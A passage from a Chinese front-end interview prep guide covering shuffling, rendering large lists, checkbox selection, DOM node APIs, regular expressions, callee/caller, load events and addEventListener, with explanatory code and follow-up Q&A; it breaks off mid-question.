  • sort(() => Math.random() - 0.5) 到底有多不均匀,怎么证明?

    拿 [1, 2, 3] 跑十万次,统计 6 种排列各出现多少次,Fisher-Yates 每种大约 16.7%,sort 版能看到明显偏差。统计一下就能说明问题,比讲理论有说服力。

  • 随机下标写成 Math.floor(Math.random() * arr.length),每轮都在全数组里选,有问题吗?

    有。这样会产生 n^n 种等可能的路径,但排列只有 n! 种,n^n 除不尽 n!,有的排列一定会更常出现。必须是 [0, i] 这个缩小的范围。

  • 只要从 1000 个里随机抽 10 个不重复的,也要洗完整个数组吗?

    不用。Fisher-Yates 跑 10 轮就停,取被交换到末尾的那 10 个就行,复杂度从 O(n) 降到 O(k),前提是允许打乱原数组或者先拷一份。

  • Math.random 为什么不能用于抽奖?

    它是伪随机,内部状态有可能被推算出来,结果就能被预测。抽奖、生成 token 这种场景用 crypto.getRandomValues,后端抽奖更稳,前端只负责展示。

  • 洗牌函数应该改原数组还是返回新数组?

    看团队约定,我倾向于返回新数组,const shuffled = shuffle([...list]),在 React 里直接改原数组还会导致状态不更新。lodash 的 shuffle 也是返回新数组。

# 63 如何渲染几万条数据并不卡住界面

⚡ 30 秒速记

  • 首选虚拟列表:只渲染可视区加上下缓冲的几十条,滚动时换内容,DOM 数量恒定
  • 定高直接 scrollTop / itemHeight 算起始下标;不定高要先估高度,渲染后测量并缓存,再修正偏移
  • 必须全量渲染时用时间分片:requestAnimationFrame 每帧插一批,批内用 DocumentFragment 一次性插入
  • 排序、过滤等重计算挪进 Web Worker;产品上能分页、无限滚动就别一次全给
  • 衡量标准:单个任务超过 50ms 就算长任务,会拖慢点击响应,影响 INP

几万条数据我首选虚拟列表,页面上永远只有几十个节点,滚到哪渲染到哪。 原理是用一个很高的占位元素撑出滚动条,监听滚动算出当前该显示第几条到第几条,只渲染这一段,再用 transform 把它挪到正确位置。定高的好算,不定高要先估一个高度,渲染后测出真实高度缓存起来。如果业务要求所有节点真实存在,比如要支持 Ctrl+F 搜索,就用 requestAnimationFrame 分批插入,每帧插一小批,主线程不会被一次塞满。

方式1:使用requestAnimationFrame

这道题考察了如何在不卡住页面的情况下渲染数据,也就是说不能一次性将几万条都渲染出来,而应该一次渲染部分 DOM,那么就可以通过 requestAnimationFrame 来每 16 ms 刷新一次

在渲染大量数据时,避免一次性将所有数据都渲染出来可以提高性能,以保持界面的流畅性。以下是一个示例代码,演示如何使用requestAnimationFrame来分批渲染大量数据,避免卡住界面:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
  <ul>控件</ul>
  <script>
    setTimeout(() => {
      // 插入十万条数据
      const total = 100000
      // 一次插入 20 条,可以根据实际性能调整
      const once = 20
      // 渲染数据总共需要几次
      const loopCount = total / once
      let countOfRender = 0
      let ul = document.querySelector("ul");

      function add() {
        // 优化性能,使用文档片段插入,减少回流
        const fragment = document.createDocumentFragment();
        for (let i = 0; i < once; i++) {
          const li = document.createElement("li");
          li.innerText = Math.floor(Math.random() * total);
          fragment.appendChild(li);
        }
        ul.appendChild(fragment);
        countOfRender += 1;
        loop();
      }

      function loop() {
        if (countOfRender < loopCount) {
          // 使用requestAnimationFrame在每一帧中执行渲染
          window.requestAnimationFrame(add);
        }
      }

      loop();
    }, 0);
  </script>
</body>
</html>

上述代码会将十万条数据分批插入到ul列表中,每次插入20条数据,并通过requestAnimationFrame在每一帧中执行渲染,保证不卡住界面。这样用户可以逐步看到数据的渲染过程,而不是等待所有数据都渲染完毕后才显示。这种方式可以提高用户体验并避免界面卡顿。

方式2:使用虚拟滚动

使用虚拟滚动(Virtual Scrolling)可以在渲染大量数据时提高性能,只渲染可见区域的数据,而不是将所有数据都插入到DOM中。这样可以减少DOM操作和内存占用,从而提升性能和响应速度。以下是使用虚拟滚动完成这道题的示例代码:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
  <style>
    .container {
      height: 400px;
      overflow: auto;
    }
    .item {
      height: 30px;
      line-height: 30px;
      border-bottom: 1px solid #ccc;
    }
  </style>
</head>
<body>
  <div class="container">
    <div class="content"></div>
  </div>
  <script>
    setTimeout(() => {
      // 插入十万条数据
      const total = 100000;
      // 可见区域的高度
      const visibleHeight = 400;
      // 单个元素的高度
      const itemHeight = 30;
      // 计算可见区域能容纳的元素数量
      const visibleItemCount = Math.ceil(visibleHeight / itemHeight);
      // 当前滚动位置对应的元素索引
      let startIndex = 0;
      let endIndex = visibleItemCount;
      let container = document.querySelector(".container");
      let content = document.querySelector(".content");

      function renderItems() {
        content.innerHTML = "";
        for (let i = startIndex; i < endIndex; i++) {
          const item = document.createElement("div");
          item.className = "item";
          item.innerText = Math.floor(Math.random() * total);
          content.appendChild(item);
        }
      }

      function handleScroll() {
        // 计算当前滚动位置对应的元素索引
        startIndex = Math.floor(container.scrollTop / itemHeight);
        endIndex = startIndex + visibleItemCount;
        renderItems();
      }

      // 监听滚动事件
      container.addEventListener("scroll", handleScroll);

      // 初始渲染可见区域的元素
      renderItems();
    }, 0);
  </script>
</body>
</html>

在上述代码中,通过设置一个具有固定高度的容器,使用overflow: auto来实现滚动。通过计算可见区域的高度和单个元素的高度,确定可见区域能容纳的元素数量。然后根据滚动位置计算出当前可见区域的元素索引范围,只渲染这一部分数据,从而实现虚拟滚动。随着滚动事件的触发,动态更新可见区域的元素。这样在大量数据的情况下,只有可见区域的元素会被渲染,大大提高了性能和响应速度。

💬 面试官追问

  • 一次性插入 10 万个 li,卡在哪一步?

    JS 循环创建节点不算慢,主要卡在后面的样式计算、布局和绘制,这一整段是一个巨大的长任务,期间页面完全无响应。而且节点一直留在页面里,后面每次滚动、重排都要带着这 10 万个节点。

  • 分片渲染为什么用 requestAnimationFrame,setTimeout(fn, 0) 不行吗?

    也能用,但 setTimeout 和刷新节奏不同步,可能一帧里塞了好几批,也可能空几帧,表现为忽快忽慢。rAF 每帧正好一批,节奏稳定;后台标签页它还会暂停。

  • 虚拟列表滚得快的时候出现白屏,怎么缓解?

    加大上下缓冲区,比如可视区上下各多渲染一屏;滚动处理放进 rAF 别做重计算;列表项本身要轻,图片懒加载、复杂内容滚动停下再渲染。

  • 虚拟列表用了之后,浏览器 Ctrl+F 搜不到下面的内容了,怎么办?

    这是虚拟列表的固有代价,没渲染的节点浏览器不知道。要么做一个站内搜索框,按数据找到下标再滚过去;要么列表不太长时改用分片渲染,或者给列表项加 content-visibility: auto,节点在但跳过渲染。

  • content-visibility: auto 能替代虚拟列表吗?

    量级在几千条时可以试,它让屏幕外的元素跳过布局和绘制,节点仍在 DOM 里,Ctrl+F 也能搜到。但几万上十万条时 DOM 本身的内存和创建成本还在,那时还是得用虚拟列表。

# 64 希望获取到页面中所有的checkbox怎么做?

⚡ 30 秒速记

  • 一行搞定:document.querySelectorAll('input[type="checkbox"]')
  • 只要选中的:后面加 :checked
  • 返回的是静态 NodeList,有 forEach 但没有 map / filter,用 Array.from 或 [...list] 转数组
  • getElementsByTagName 返回动态 HTMLCollection,边遍历边删节点时长度会变,容易漏
  • 表单内可以用 form.elements.namedItem('hobby') 按 name 取

现在直接用 querySelectorAll('input[type="checkbox"]'),一行就够了。 拿到的是 NodeList,要 filter、map 先用 Array.from 转成数组,比如 Array.from(list).filter(c => c.checked).map(c => c.value) 拿到选中项的值。老写法 getElementsByTagName('input') 再判断 type 也能用,但它返回的是动态集合,循环里删节点长度会跟着变,容易漏掉元素。另外 UI 库里那种自定义复选框不一定是 input,得按组件的 class 或 role="checkbox" 去找。

 var domList = document.getElementsByTagName(‘input’)
 var checkBoxList = [];
 var len = domList.length;  //缓存到局部变量
 while (len--) {  //使用while的效率会比for循环更高
   if (domList[len].type == ‘checkbox’) {
       checkBoxList.push(domList[len]);
   }
 }
  • 这段代码使用document.getElementsByTagName('input')获取到页面中所有的input元素,并通过遍历筛选出type为checkbox的元素,然后将它们存储在checkBoxList数组中
  • 请注意,这段代码假设所有的复选框都是通过<input>元素实现的,如果你的页面中还有其他方式创建的复选框,可能无法正确获取到。另外,建议将domList.length缓存到局部变量中,可以提高代码的性能。

💬 面试官追问

  • 全选按钮怎么实现?

    document.querySelectorAll('.list input[type="checkbox"]').forEach(c => { c.checked = allBox.checked })。注意设置 checked 属性不会触发 change 事件,依赖 change 更新统计数的话要手动调一次。

  • 用 getElementsByTagName 拿到列表,循环里把节点删掉,为什么删不干净?

    它返回的 HTMLCollection 是实时的,删掉第 0 个后原来第 1 个变成了第 0 个,下标 i++ 正好跳过它。要么倒序删,要么先 Array.from 转成静态数组再操作。

  • querySelectorAll 拿到的结果,后来又新增了 checkbox,结果里有吗?

    没有,它是调用那一刻的快照。要最新的就重新查一次,或者在父元素上用事件委托,就不用关心节点是不是后加的。

  • 怎么让一组 checkbox 里最多只能选 3 个?

    在父元素上监听 change,查一下 :checked 的数量,超过 3 就把当前这个 e.target.checked = false。也可以选满后给剩下没选的加 disabled,用户体验更直观。

  • checkbox 有没有第三种状态?

    有,indeterminate,常用来表示「部分选中」,比如全选框下只勾了几项。它只能通过 JS 设置:allBox.indeterminate = true,没有对应的 HTML 属性,提交表单时也不算选中。

# 65 怎样添加、移除、移动、复制、创建和查找节点

⚡ 30 秒速记

  • 创建:createElement、createTextNode、createDocumentFragment;复制用 cloneNode(true)
  • 查找:querySelector / querySelectorAll 最通用,getElementById 最快,closest 往上找祖先
  • 添加:append / prepend / before / after 能一次塞多个节点和字符串,比 appendChild / insertBefore 好用
  • 移除用 el.remove(),替换用 el.replaceWith(newEl);把已存在的节点 append 到别处就是移动
  • 坑:cloneNode 不复制 addEventListener 绑的事件、会复制 id;批量插入先放 DocumentFragment

节点操作现在优先用新 API,append、remove、replaceWith、closest 这些比老的 appendChild、removeChild 顺手很多。 比如删除节点,以前要 el.parentNode.removeChild(el),现在直接 el.remove();移动节点不用先删再插,把一个已经在页面上的节点 append 到新位置,它自己就会从原位置挪过去。复制要注意 cloneNode(true) 只复制结构和属性,用 addEventListener 绑的事件不会跟过去,id 却会被复制出重复的。大量插入时先拼进 DocumentFragment,最后插一次。

下面是一些用于添加、移除、移动、复制、创建和查找节点的常用方法:

创建新节点

document.createElement(tagName); // 创建一个指定标签名的元素节点
document.createTextNode(text); // 创建一个包含指定文本的文本节点
document.createDocumentFragment(); // 创建一个空的文档片段节点

添加、移除、替换、插入节点

parentNode.appendChild(node); // 在父节点的末尾添加一个子节点
parentNode.removeChild(node); // 从父节点中移除指定的子节点
parentNode.replaceChild(newNode, oldNode); // 用新节点替换指定的旧节点
parentNode.insertBefore(newNode, referenceNode); // 在参考节点之前插入一个新节点

查找节点

document.getElementsByTagName(tagName); // 返回指定标签名的元素节点集合
document.getElementsByName(name); // 返回具有指定名称的元素节点集合
document.getElementById(id); // 返回具有指定 id 的元素节点

注意,以上方法都是基于document对象进行操作的,如果需要在特定的节点上执行这些操作,可以使用相应节点的方法,例如parentNode.appendChild(node)。

示例代码:

// 创建新节点
var newElement = document.createElement('div');
var newText = document.createTextNode('Hello, world!');
var fragment = document.createDocumentFragment();

// 添加节点
document.body.appendChild(newElement);
newElement.appendChild(newText);

// 移除节点
document.body.removeChild(newElement);

// 替换节点
var oldElement = document.getElementById('old');
var newElement = document.createElement('div');
document.body.replaceChild(newElement, oldElement);

// 插入节点
var referenceElement = document.getElementById('reference');
var newNode = document.createElement('p');
document.body.insertBefore(newNode, referenceElement);

// 查找节点
var elementsByTagName = document.getElementsByTagName('div');
var elementsByName = document.getElementsByName('name');
var elementById = document.getElementById('id');

以上代码演示了如何创建新节点、添加节点、移除节点、替换节点、插入节点以及查找节点的方法。请根据实际情况调整代码并操作相应的节点。

💬 面试官追问

  • 把一个节点 append 到另一个容器,原来的位置还在吗?

    不在了。一个节点同一时间只能在一个位置,append 已存在的节点就是移动。要保留原位就先 cloneNode(true) 再插。

  • innerHTML 插入和 createElement 插入怎么选?

    静态的大段结构用 innerHTML 或 insertAdjacentHTML 更快更简洁,但内容里有用户输入就有 XSS 风险,要先转义。只是插文字就用 textContent,天然安全。

  • cloneNode(true) 复制出来的按钮点了没反应,为什么?

    addEventListener 绑的监听器不会被复制,只有写在 HTML 属性上的 onclick 会跟着过去。最好的办法是在父元素上做事件委托,新节点不用单独绑。

  • children 和 childNodes 有什么区别?

    childNodes 包括文本节点和注释,标签之间的换行也算一个文本节点;children 只有元素节点。日常基本都用 children。

  • 列表里每一行都要插一个节点,循环里直接 appendChild 有什么问题?

    现代浏览器会把多次写操作攒起来,只写不读的话不一定每次都重排。但循环里一旦读了 offsetHeight 这类属性就会强制布局。习惯上先拼进 DocumentFragment,最后插一次,或者直接 list.append(...nodes)。

# 66 正则表达式

⚡ 30 秒速记

  • 三件套:字符类(\d \w \s . [...])、量词(* + ? {n,m},后面加 ? 变非贪婪)、边界(^ $ \b)
  • 分组:() 捕获、(?:) 不捕获、(?<name>) 具名,\1 反向引用
  • 断言:(?=) (?!) 先行、(?<=) (?<!) 后行,校验「必须同时包含数字和字母」这类规则常用
  • 标志:g 全局、i 忽略大小写、m 多行、s 让 . 匹配换行、u 按 Unicode、y 粘连
  • 坑:带 g 的正则反复 test 会受 lastIndex 影响;(a+)+ 这种嵌套量词会灾难性回溯(ReDoS)

正则就是用一套符号描述字符串规则,拿来做校验、提取和替换。 核心就三样:字符类说「匹配什么字符」,量词说「匹配几次」,边界说「在哪匹配」,再加上分组和断言就能写出大部分规则。写法上,规则固定用字面量 /\d+/;要拼变量就用 new RegExp(str),记得字符串里反斜杠要写两遍,变量里的特殊字符也要先转义。线上最常见的坑是带 g 的正则复用做 test,结果一次 true 一次 false。

正则表达式构造函数RegExp()和正则表达字面量的主要区别在于语法和使用方式。

正则表达式构造函数 RegExp()

  • 使用字符串作为参数,需要进行双重转义,即需要使用双反斜杠来表示特殊字符,如\d表示数字,\w表示字母数字下划线等。
  • 构造函数的参数可以是一个字符串,也可以是两个字符串,第一个字符串是正则表达式模式,第二个字符串是修饰符。
  • 如果正则表达式模式是一个变量,只能使用构造函数的方式创建正则表达式。

正则表达字面量 //

  • 使用两个斜杠//将正则表达式包围起来。
  • 字面量的方式更简洁,不需要进行双重转义,直接使用特殊字符即可。
  • 正则表达式字面量的模式和修饰符直接写在斜杠之间。

在前端面试中,正则表达式是一个常见的考点。以下是一些与正则表达式相关的重要知识点总结:

1. 基本语法

  • 正则表达式是由字符和特殊字符组成的模式,用于匹配字符串中的文本。
  • 常见的特殊字符包括元字符(如.、*、+、?等)和字符类(如[...]、[^...]、\d、\w等)。

2. 匹配模式

  • 使用正则表达式可以进行文本匹配、查找、替换等操作。
  • 匹配模式可以包括固定文本和通配符,用于定义要匹配的模式。
  • 量词(如*、+、?、{n}、{n,m}等)用于指定匹配的次数。

3. 常见的正则表达式应用场景

  • 邮箱验证:匹配邮箱的正则表达式可以验证邮箱的合法性。
  • 密码验证:通过正则表达式可以验证密码的复杂度要求。
  • 手机号验证:使用正则表达式可以验证手机号码的格式是否正确。
  • URL 提取:通过正则表达式可以从文本中提取出符合 URL 格式的链接。
  • HTML 标签处理:正则表达式可以用于匹配和处理 HTML 标签。
  • 字符串替换:使用正则表达式可以进行字符串的替换操作。

4. 常见的正则表达式方法

  • test():测试字符串是否匹配正则表达式。
  • exec():在字符串中查找匹配的文本,并返回匹配结果。
  • match():在字符串中查找匹配的文本,并返回所有匹配结果的数组。
  • search():在字符串中查找匹配的文本,并返回第一个匹配结果的索引。
  • replace():将匹配的文本替换为指定的字符串。
  • split():根据正则表达式将字符串拆分为数组。
// 示例字符串
const str = 'Hello, World! This is a test string.';

// test(): 测试字符串是否匹配正则表达式
const regex1 = /test/;
console.log(regex1.test(str)); // true

// exec(): 在字符串中查找匹配的文本,并返回匹配结果
const regex2 = /is/g;
let result;
while ((result = regex2.exec(str)) !== null) {
  console.log(result[0]); // "is" (每次循环匹配的结果)
  console.log(result.index); // 匹配的起始索引
}

// match(): 在字符串中查找匹配的文本,并返回所有匹配结果的数组
const regex3 = /o/g;
console.log(str.match(regex3)); // ["o", "o", "o"]

// search(): 在字符串中查找匹配的文本,并返回第一个匹配结果的索引
const regex4 = /World/;
console.log(str.search(regex4)); // 7

// replace(): 将匹配的文本替换为指定的字符串
const regex5 = /test/;
const newStr = str.replace(regex5, 'replacement');
console.log(newStr); // "Hello, World! This is a replacement string."

// split(): 根据正则表达式将字符串拆分为数组
const regex6 = /[,!\s]/;
const arr = str.split(regex6);
console.log(arr); // ["Hello", "World", "This", "is", "a", "test", "string"]

5. 贪婪匹配和非贪婪匹配

  • 贪婪匹配是指正则表达式默认匹配尽可能长的字符串。
  • 非贪婪匹配是指正则表达式匹配尽可能短的字符串,在量词后加上?实现非贪婪匹配。

以下是一些常见的正则表达式面试题考点及其答案总结:

1. 什么是正则表达式?

正则表达式是一种用于匹配和操作字符串的模式,它由字符和特殊字符组成,用于定义匹配规则。

2. 正则表达式的创建方式有哪些?

正则表达式可以通过两种方式创建:

  • 字面量方式:使用两个斜杠//将正则表达式包围起来,如:/pattern/。
  • 构造函数方式:使用RegExp()构造函数创建,接受一个字符串参数,如:new RegExp("pattern")。

3. 常见的正则表达式修饰符有哪些?

常见的正则表达式修饰符包括:

  • i:不区分大小写匹配。
  • g:全局匹配,找到所有匹配项。
  • m:多行匹配,将 ^ 和 $ 应用到每一行。

4. 常用的正则表达式元字符有哪些?

常用的正则表达式元字符包括:

  • .:匹配除换行符以外的任意字符。
  • ^:匹配字符串的开始位置。
  • $:匹配字符串的结束位置。
  • \d:匹配数字字符。
  • \w:匹配字母、数字、下划线。
  • \s:匹配空白字符。

5. 如何匹配邮箱地址?

可以使用以下正则表达式进行邮箱地址的匹配:

/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;

6. 如何匹配手机号码? 可以使用以下正则表达式进行手机号码的匹配:

/^1[3456789]\d{9}$/;

7. 如何匹配 URL 地址?

可以使用以下正则表达式进行 URL 地址的匹配:

/^(https?:\/\/)?([\da-z.-]+)\.([a-z.]{2,6})(\/[\w.-]*)*\/?$/;

8. 如何提取字符串中的数字部分? 可以使用以下正则表达式提取字符串中的数字部分:

/\d+/g;

9. 如何验证密码的复杂度要求?

可以使用以下正则表达式验证密码的复杂度要求,包括至少包含一个大写字母、一个小写字母和一个数字,长度为8-20个字符:

/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d]{8,20}$/;

10. 如何匹配日期格式(YYYY-MM-DD)?

可以使用以下正则表达式匹配日期格式(YYYY-MM-DD):

/^\d{4}-\d{2}-\d{2}$/;

11. 如何匹配 IP 地址?

可以使用以下正则表达式匹配 IP 地址:

/^((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})$/;

12. 如何匹配 HTML 标签?

可以使用以下正则表达式匹配 HTML 标签:

/<[^>]+>/g;

13. 如何移除字符串中的 HTML 标签?

可以使用以下正则表达式移除字符串中的 HTML 标签:

str.replace(/<[^>]+>/g, '');

💬 面试官追问

  • 同一个 /a/g 连续 test('a') 两次,为什么第二次是 false?

    带 g 的正则会记住 lastIndex,第一次匹配后 lastIndex 变成 1,第二次从下标 1 开始找,找不到就返回 false 并重置为 0。只做校验就别加 g。

  • 用户搜索框的输入要拼进正则,要注意什么?

    先转义特殊字符,不然用户输入 .、( 会改变规则甚至直接报语法错误:str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')。处理用户可控的复杂正则还要留意回溯爆炸。

  • 贪婪和非贪婪怎么区分?举个例子。

    对 '<b>1</b><b>2</b>',/<b>.*<\/b>/ 会一口气吃到最后一个 </b>,整串都匹配上;/<b>.*?<\/b>/ 遇到第一个 </b> 就停,只匹配 <b>1</b>。量词后加 ? 就是非贪婪。

  • 密码要求至少 8 位且同时包含字母和数字,正则怎么写?

    用先行断言:/^(?=.*[a-zA-Z])(?=.*\d).{8,}$/。两个 (?=...) 只检查条件不消耗字符,最后 .{8,} 管长度。规则再多我会拆成几个简单判断,报错提示也能更具体。

  • match 和 matchAll 有什么区别?

    带 g 的 match 只返回所有匹配到的字符串,捕获组丢了;matchAll 返回迭代器,每一项都有捕获组和 index,而且要求正则必须带 g。要提取分组用 [...str.matchAll(re)]。

# 67 Javascript中callee和caller的作用?

⚡ 30 秒速记

  • arguments.callee = 当前正在跑的函数自己;fn.caller = 谁调用了我
  • 严格模式下两者都会抛 TypeError,class 和 ES Module 里默认就是严格模式
  • 被淘汰的原因:能顺着调用栈往上摸(安全隐患),还挡住了引擎的内联和尾调用优化
  • 匿名递归改用具名函数表达式:const f = function self(n) { return self(n - 1) }
  • 想知道调用来源就显式传参,或者看 new Error().stack,别读 caller

这两个都是老古董:callee 指向函数自己,caller 指向调用它的那个函数,现在都不该再用。 当年匿名函数没名字,递归只能靠 arguments.callee 找自己,现在给函数表达式起个名字就行,名字只在函数内部可见,不会污染外面。caller 能让一个函数看到是谁在调它,这既破坏封装,又让引擎没法放心地内联函数,所以严格模式直接禁掉。面试里这题主要看你知不知道它们已经被废弃、有什么替代写法。

callee和caller是两个旧的非标准属性,它们在现代的 JavaScript 中已经不推荐使用,且在严格模式下不可用。

  • caller属性:caller属性用于获取调用当前函数的函数的引用。它返回一个函数对象或者null。这个属性主要用于追踪函数的调用来源。但由于其潜在的安全性问题和性能问题,它已经被废弃了,并且在严格模式下无法使用。
  • callee属性:callee属性返回当前正在执行的函数的引用。它通常在匿名函数或递归函数中使用,允许函数引用自身。但同样由于其潜在的安全性和性能问题,它也已经被废弃了,并且在严格模式下无法使用。

应该尽量避免使用caller和callee属性,而使用更现代的 JavaScript 特性和技术来完成相应的任务。例如,可以使用具名函数表达式来递归调用函数,使用函数引用作为参数传递来追踪函数调用的来源。

以下是一个示例,

如果一对兔子每月生一对兔子;一对新生兔,从第二个月起就开始生兔子;假定每对兔子都是一雌一雄,试问一对兔子,第n个月能繁殖成多少对兔子?(使用callee完成)

var result=[];
function fn(n){  //典型的斐波那契数列
  if(n==1){
    return 1;
  }else if(n==2){
    return 1;
  }else{
    if(result[n]){
      return result[n];
    }else{
      //argument.callee()表示fn()
      result[n]=arguments.callee(n-1)+arguments.callee(n-2);
      return result[n];
    }
  }
}

以下是一个示例,展示了如何使用具名函数表达式进行递归调用:

const factorial = function calculateFactorial(n) {
  if (n <= 1) {
    return 1;
  }
  return n * calculateFactorial(n - 1);
};

console.log(factorial(5)); // 输出: 120

在这个示例中,使用具名函数表达式calculateFactorial来递归调用自身,计算阶乘的结果。这种方式比使用callee属性更清晰和可维护。

总结

  • caller是返回一个对函数的引用,该函数调用了当前函数;
  • callee是返回正在被执行的function函数,也就是所指定的function对象的正文

💬 面试官追问

  • setTimeout(function () { arguments.callee() }, 100) 想做循环定时,现在怎么改?

    给函数起个名字:setTimeout(function loop() { work(); setTimeout(loop, 100) }, 100)。名字 loop 只在函数体内可见,效果一样,严格模式下也能跑。

  • 在 class 的方法里读 arguments.callee 会怎样?

    直接抛 TypeError。class 体内自动是严格模式,ES Module 也一样,所以现代工程代码里这俩基本等于不存在。

  • 箭头函数里能用 arguments.callee 吗?

    不能,箭头函数没有自己的 arguments,拿到的是外层函数的。要递归就把箭头函数赋给一个 const,内部直接用这个变量名调。

  • 线上想记录某个工具函数被谁调用了,不让用 caller 怎么办?

    调试阶段可以 console.trace() 或者读 new Error().stack;要长期记录就让调用方显式传一个 source 参数,清楚又稳定。stack 的格式各浏览器不一样,而且压缩后函数名都变了,别拿它做业务逻辑。

  • 为什么说 caller 会影响性能?

    引擎想把小函数内联到调用处,内联之后调用栈里那一帧就没了。如果语言允许随时读 caller,引擎就得一直保留这些信息,很多优化做不了。

# 68 window.onload和$(document).ready

⚡ 30 秒速记

  • DOMContentLoaded:HTML 解析完、DOM 树建好就触发,不等图片、iframe
  • load:页面上所有资源(图片、样式、iframe)都加载完才触发,最晚
  • $(document).ready 就是 DOMContentLoaded 的封装,可以注册多个;window.onload = fn 只能存一个,后赋值的覆盖前面的
  • 普通 <script> 会阻塞解析,defer 脚本在 DOMContentLoaded 之前按顺序执行完
  • 写 ready 要判断 document.readyState,已经错过事件就立即执行

window.onload 要等图片这些资源全加载完,ready 只等 DOM 结构建好,所以 ready 早得多。 比如一个页面有几十张大图,DOM 可能 300ms 就好了,图片要好几秒,绑事件、查元素这类初始化等 DOM 就够了。原生写法就是监听 DOMContentLoaded,但要注意脚本如果是异步加载的,可能事件早就过了,所以要先看 document.readyState。只有要读图片真实尺寸这种情况,才需要等 load。

function ready(fn) {
  if (document.readyState !== 'loading') fn() // 已经错过事件,直接执行
  else document.addEventListener('DOMContentLoaded', fn, { once: true })
}
时序图 · 5 个参与者 / 10 步
alt 图片还在加载资源早已加载完HTML解析器HTML解析器defer脚本defer脚本documentdocument图片等资源图片等资源windowwindow遇到img标签,并行下载1遇到defer脚本,后台下载2继续解析到文档末尾3readyState 变为 interactive4按顺序执行defer脚本5执行完毕6触发 DOMContentLoaded,ready回调执行7等全部资源加载完成8立即进入下一步9readyState 变为 complete,触发 load10

原生JS的window.onload与Jquery的$(document).ready(function(){})有什么不同?如何用原生JS实现Jq的ready方法?

  • window.onload()方法是必须等到页面内包括图片的所有元素加载完毕后才能执行。
  • $(document).ready()是DOM结构绘制完毕后就执行,不必等到加载完毕
function ready(fn){
    if(document.addEventListener) {        //标准浏览器
      document.addEventListener('DOMContentLoaded', function() {
          //注销事件, 避免反复触发
          document.removeEventListener('DOMContentLoaded',arguments.callee, false);
          fn();            //执行函数
      }, false);
    }else if(document.attachEvent) {        //IE
      document.attachEvent('onreadystatechange', function() {
          if(document.readyState == 'complete') {
              document.detachEvent('onreadystatechange', arguments.callee);
              fn();        //函数执行
          }
      });
    }
 };

💬 面试官追问

  • 动态插入的脚本里监听 DOMContentLoaded,回调一直不执行,为什么?

    脚本跑的时候事件早就触发过了,事件不会补发。先判断 document.readyState,不是 loading 就直接执行。

  • defer 和 async 脚本,分别在 DOMContentLoaded 前还是后执行?

    defer 一定在 DOMContentLoaded 之前、按书写顺序执行完。async 下载完就执行,可能在它之前也可能之后,顺序也不保证,所以依赖 DOM 的初始化别放 async 里。

  • 两个模块都写了 window.onload = ...,结果只有一个生效,怎么改?

    赋值是覆盖,后写的把前面的冲掉了。改成 window.addEventListener('load', fn),想挂几个挂几个。

  • 轮播图要拿图片宽度算布局,放在 DOMContentLoaded 里拿到的是 0,为什么?

    这时图片可能还没下载完,没有固有尺寸。要么等 load 或者单张图片的 onload,要么直接给 <img> 写上 width / height 属性,顺便还能避免 CLS。

  • 现在写 React / Vue 项目,还需要关心这两个事件吗?

    业务代码基本不用,框架挂载时 DOM 已经可用了。但写第三方 SDK、埋点脚本时还是要处理,因为你不知道自己会在页面哪个阶段被加载。

# 69 addEventListener()和attachEvent()的区别

⚡ 30 秒速记

  • addEventListener 是 DOM2 标准;attachEvent 是 IE8 及以下的私有实现,IE11 已经移除
  • 事件名:addEventListener('click') 不带 on,attachEvent('onclick') 要带
  • 阶段:前者第三个参数能选捕获或冒泡,后者只有冒泡
  • this:前者指向绑定的元素,后者指向 window;事件对象前者走参数,后者读 window.event
  • 同一事件绑多个:前者按绑定顺序执行,后者顺序不保证(老 IE 常见是倒序)
  • 现在真正要会的是第三个参数的对象形式:{ capture, once, passive, signal }

attachEvent 是老 IE 的私有方法,今天已经没有实战价值,这题真正该聊的是 addEventListener 的用法。 区别记几条就够:事件名带不带 on、能不能捕获、this 指向元素还是 window。现代写法里第三个参数可以传对象,once: true 只执行一次,passive: true 告诉浏览器我不会调 preventDefault,滚动就不用等 JS,signal 配合 AbortController 可以一次解绑一批监听,比挨个 removeEventListener 省心。

const ac = new AbortController()
window.addEventListener('scroll', onScroll, { passive: true, signal: ac.signal })
window.addEventListener('resize', onResize, { signal: ac.signal })
ac.abort() // 两个监听一起解绑
  • addEventListener()是DOM Level 2 标准定义的方法,而attachEvent()是早期IE浏览器的非标准方法。
  • addEventListener()可以为同一个元素的同一个事件类型添加多个事件处理函数,而attachEvent()只能绑定一个事件处理函数。
  • addEventListener()使用事件捕获阶段或冒泡阶段来处理事件,可以通过第三个参数来指定是在捕获阶段处理还是在冒泡阶段处理。而attachEvent()只能在冒泡阶段处理事件。
  • addEventListener()的事件处理函数中的this指向触发事件的元素,而attachEvent()的事件处理函数中的this指向window对象。
  • addEventListener()中的事件处理函数可以通过event参数来获取事件信息,而attachEvent()的事件处理函数需要通过window.event来获取事件信息。

由于attachEvent()是早期IE浏览器的非标准方法,且在现代浏览器中已经被废弃,推荐使用addEventListener()来绑定事件。

💬 面试官追问

  • removeEventListener('click', () => {...}) 为什么移除不掉?

    传进去的是一个新的箭头函数,和绑定时不是同一个引用。要么把函数存成变量,绑定和移除用同一个;要么用 signal 统一解绑。

  • 绑定时传了 { capture: true },移除时没传,能移掉吗?

    移不掉。removeEventListener 是按「类型 + 函数 + capture」三者匹配的,capture 不一致就当成另一个监听。passive、once 不参与匹配。

  • touchmove 里调了 preventDefault(),控制台报警告还不生效,为什么?

    Chrome 56 起,挂在 window、document、body 上的 touchstart / touchmove 默认就是 passive: true,里面的 preventDefault 会被忽略。真要拦滚动就显式写 { passive: false },或者用 CSS 的 touch-action 解决。

  • 同一个元素绑两次同一个具名函数,点一下会执行几次?

    一次。addEventListener 会对完全相同的「类型 + 函数 + capture」去重,匿名函数每次都是新引用,所以才会重复执行。

  • React 组件里直接 addEventListener,要注意什么?

